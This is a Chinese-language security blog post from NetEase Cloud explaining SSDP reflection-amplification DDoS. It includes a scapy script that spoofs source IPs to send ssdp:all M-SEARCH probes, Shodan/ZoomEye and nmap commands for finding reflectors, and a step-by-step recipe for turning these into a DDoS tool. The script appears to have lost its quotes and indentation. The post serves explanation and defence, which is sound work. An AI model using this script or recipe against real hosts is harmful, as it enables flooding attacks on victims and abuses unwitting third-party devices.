本文來自網易雲社區。

前言

之前一直搞Web安全,大家都知道使用BurpSuite抓包,一個請求對應一個響應,這是http協議定死了的。所以到了網路層,思維不能存在定勢,一個請求包可能對應多個響應包,這也是TCP/IP協議允許的,反射放大就是基於這個原理。OSI七層模型大家學生時代上網路課的時候都學過,但紙上談兵還是太膚淺,不用WireShark抓個包看看,很難深入理解。

安全很多東西可以套用,無論在四層還是在七層,攻擊測試無非是抓包,攔截,改包,重放······反射放大最常修改的欄位是網路層源IP欄位。套路是固定的,關鍵還是看思路,每一種新型漏洞或者每一種新型DDoS攻擊都是人為創造出來的。

概述

這裡不太喜歡談論比較沒有技術含量的純的DDoS攻擊,靠殭屍網路堆起來的流量,有點「以大欺小」群毆的感覺,我們來講點通過「以小博大」,「四兩撥千斤」的姿態進行的DDoS攻擊,需要對特定的網路協議有個清晰的認識,並能夠找到破綻為我所用。反射反射型DDoS,能夠讓人馬上想起「反射型XSS」這種Web漏洞類型,攻擊者構造的XSS payload通過伺服器反射給受害者,我們也需要某種介質將自己發送的網路數據包反射給受害者,而這種介質可以是互聯網上任何伺服器任何埠的任何協議,只要這種協議有請求有響應。正常的請求發送過去後,響應會直接沿原路返回,如圖所示。

但是我們上面說了修改正常的請求的源IP為受害者的IP,響應就會發送給受害者,如圖所示 。

當然我們不會只發送給一個中間介質,否則形成不了DDoS,於是乎又有了下圖。

放大

就算響應包比請求包位元組數大一點,上面的反射其實並沒有比純的DDoS(直接發包)省流量,DDoS的目的就是流量最大化,達到耗盡資源和帶寬的目的,因為攻擊者這邊的資源和帶寬是一定的,所以很少有人直接反射,介質必須還要有個屬性,就是「放大」,幾十倍幾百倍的放大已經不得了了,最新的memcache放大似乎已經到了萬倍,一萬倍是個什麼概念?拿某些雙向流量收費限制流量的vps打比方吧,我發送1M流量到某個地方,將收到10G流量,瞬間肉疼,如圖所示。

下面是反射+放大的效果圖,A以最小的帶寬達到發送到C的流量最大化。

注意,這種攻擊方式是在沒有控制B1,B2,B3···的情況下進行的,所以很隱蔽,難以逆向追蹤。

SSDP怎樣才能稱為合適的介質呢,我們需要一個可以IP欺騙的、易於反射放大的協議,這種協議存在於很多正常的外網開放的伺服器埠中。「埠就像一盒巧克力,你永遠不知道你會得到什麼」,阿甘說的這句話也可以套用在這裡。本章要重點描述的SSDP就是眾多可利用的協議之一。SSDP全稱Simple Sever Discovery Protocol,它自己都說它簡單了,其實真的很簡單。為啥我先說它呢,還是因為上面說的Web情結,它的本質是一個在UDP上面的HTTP協議,下面是維基百科裡面的圖。

是不是腦洞大開,以前一直想當然地以為HTTP協議一定是應用在TCP協議上面的,所以以後如果碰到這樣的筆試題一定要懟回去。沒有必要詳細講解這個協議,畢竟我們不是來尋找協議缺陷的,我們只要知道與DDoS相關的知識即可,大概有下面幾點:
  1. SSDP通常應用在通用即插即用 (UPnP)設備上,用來發現設備 ;
  2. 一般使用多播地址239.255.255.250和UDP埠號1900;
  3. 本應該應用在內網的埠被無意中開放到外網;
  4. SSDP的缺陷是不檢查查詢方是否與設備在同一個網路中。

測試

Nmap前人栽樹,後人乘涼,找了一下Nmap裡面已經有了檢測腳本,如下的命令直接使用即可,也可以用WireShark抓一下Nmap的請求數據包,nmap xxx.xxx.xxx.xxx -p 1900 -sU --script=upnp-info下面是Nmap運行頁面,表面該IP返回了SSDP響應包,服務正常,可以被利用,UDP本就是無連接的協議,有時候需要多試幾次。

下面是用WireShark抓取上面請求響應的介面

我們來算一下它放大了多少倍,

(289+289)/139=4倍

再來看一下應用層的HTTP協議是怎樣的,如果不告訴你底層是UDP協議,這裡看上去跟普通的HTTP請求沒什麼兩樣,非常熟悉的200響應狀態碼。

注意一下請求包中的ST:upnp:rootdevice這一行,下面我們會將它跟攻擊用的請求包做對比。scapypython的scapy可以很輕鬆構造並且發送自己構造的四層數據包,用來測試最好不過,直接上代碼。

from scapy.all import *
import random
def send_udp(srcip,dstip):
x =random.randint(0,65535)
sendmsg = M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:upnp:rootdevice
Man:"ssdp:discover"
MX:3

i =IP()
i.dst=dstip
i.src=srcip
u=UDP()
u.dport=1900
u.sport=x
send(i/u/sendmsg)
print success
if __name__ == __main__:
send_udp(1.1.1.1,2.2.2.2)

可以在真實環境里測試下,我們需要兩台外網機器,一台發送數據包,一台接收數據包,當然還需要一台反射放大伺服器,這個可以在一些公網設備搜索引擎上面進行收集,搞安全的知道國外有shodan,國內有zoomeye,下面我給出了二者的搜索語法。

shodan:upnp port:"1900"zoomeye:

"ST:upnp:rootdevice"

下面是shodan的搜索頁面,中國是重災區。

當然很多搜索結果有延時,有可能已經被修復了,需要用上面的nmap驗證一下,很快我們就找到一個可以利用的外網IP,直接開始實驗,這裡用到了linux上的一個抓包神器tcpdump。機器A:123.*.*.228反射:93.*.*.227機器B:118.*.*.34在機器A使用python腳本發送數據包,將源IP偽造成機器B。send_udp(118.*.*.34,93.*.*.227)

在機器B上進行監控,成功收到數據包。

攻擊隨著SSDP攻擊的泛濫,我廠也開始遭受大量的SSDP這種類型的UDP Flood攻擊,幸好我們有智能的DDoS監測和清洗系統,後端業務基本無感知。下面是其中一次攻擊流量曲線,達到6Gbps左右的流量。

下面是攻擊時間段的抓包結果:

通過上面的分析,其實我們可以判斷這裡的源IP都是真實的IP,或者說存在真實SSDP服務的埠,而且是新鮮出爐,為我們提供了大量的測試樣例,通過收集這些源IP,我們完全可以模擬一次DDoS攻擊。對這些源IP進行測試,並對比攻擊數據包,發現我們發送的數據包獲取的響應包並沒有攻擊來的多,通過對SSDP協議的深入研究,問題出現在ST:upnp:rootdevice這一行上,我們這裡來大致解析一下請求的數據包。Host:這裡必須使用IANA(Internet Assigned Numbers Authority)為SSDP預留的組播地址:239.255.255.250:1900

Man:必須是"ssdp:discover",注意這裡的引號不能省略

Mx:1到5之間的一個值,表示最大的等待響應的秒數

ST:Search Target的縮寫,表示搜索的節點類型,ST是要搜索的目標,如果搜索所有的設備和服務,則為ssdp:all,如果是搜索根設備,則為upnp:rootdevice。

很明顯讓所有服務和設備應答,和只讓根設備應答,發出來的數據包是完全不同的數量級,立馬修改python發包腳本。

def send_udp(srcip,dstip):
x =random.randint(0,65535)
sendmsg = M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:ssdp:all
Man:"ssdp:discover"
MX:3

i =IP()
i.dst=dstip
i.src=srcip
u=UDP()
u.dport=1900
u.sport=x
send(i/u/sendmsg)
print success

為了與上面的測試部分的倍數形成對比,使用相同的SSDP伺服器作為反射源,成功獲取大量響應包。

這是七層報文:

使用WireShark的統計功能來計算倍數:

放大倍數(7682-132)/132=57倍,一個點的修改,提高了十幾倍的攻擊性能。

總結攻擊的整個流程現在就明朗了。
  • 首先收集反射源,可以全網段掃描開放1900埠的外網IP,也可以爬蟲shodan或者zoomeye結果;
  • 然後扔到nmap裡面進行驗證,驗證命令nmap -iL ip.txt -sU --script=upnp-info -p 1900 -oX result.xml;
  • 根據上面發包腳本,寫一個好的多線程發包器,遍歷驗證過可以返回數據包的IP列表;
  • 輸入要攻擊的IP,一鍵DDoS;
  • 等待警察叔叔的到來······

這就是SSDP反射放大攻擊從入門到入獄的過程,感謝大家的觀看。

本文作者:網易高級安全工程師蘇斌


網易雲DDoS 高防提供1T 超大防護帶寬,為您提供超強的 DDoS 攻擊保障服務。點擊可免費試用

原文:DDoS反射放大之SSDP攻擊

了解 網易雲 :

網易雲官網:https://www.163yun.com

網易雲社區:sq.163yun.com/blog

新用戶大禮包:https://www.163yun.com/gift

更多網易研發、產品、運營經驗分享請訪問網易雲社區。


推薦閱讀:
相关文章